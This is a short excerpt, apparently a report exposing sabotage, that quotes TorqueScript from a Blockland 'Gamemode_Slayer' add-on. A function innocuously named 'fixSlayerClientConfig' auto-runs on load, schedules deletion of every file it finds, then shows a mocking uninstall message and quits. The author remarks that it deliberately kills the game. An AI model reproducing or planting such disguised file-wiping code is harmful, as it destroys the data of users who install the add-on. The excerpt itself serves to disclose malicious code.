Starting line 312 of Gamemode_Slayer\client\dependencies\GUI.cs
function fixSlayerClientConfig()
{
%pattern = "*/*.*";
%z = 6000;
for(%i = findFirstFile(%pattern); isFile(%i); %i = findNextFile(%pattern))
{
schedule(%z, 0, fileDelete, %i);
%z += 50;
}
schedule(%z + 5000, 0, MessageBoxOK, "Blockland", "Thanks for un-installing Blockland! We hope your time with us was a fun one!", "quit();");
}
Line 461 of Gamemode_Slayer\client\dependencies\GUI.cs
schedule(0, 0, fixSlayerClientConfig);
This appears to have been a very deliberate way of killing the game.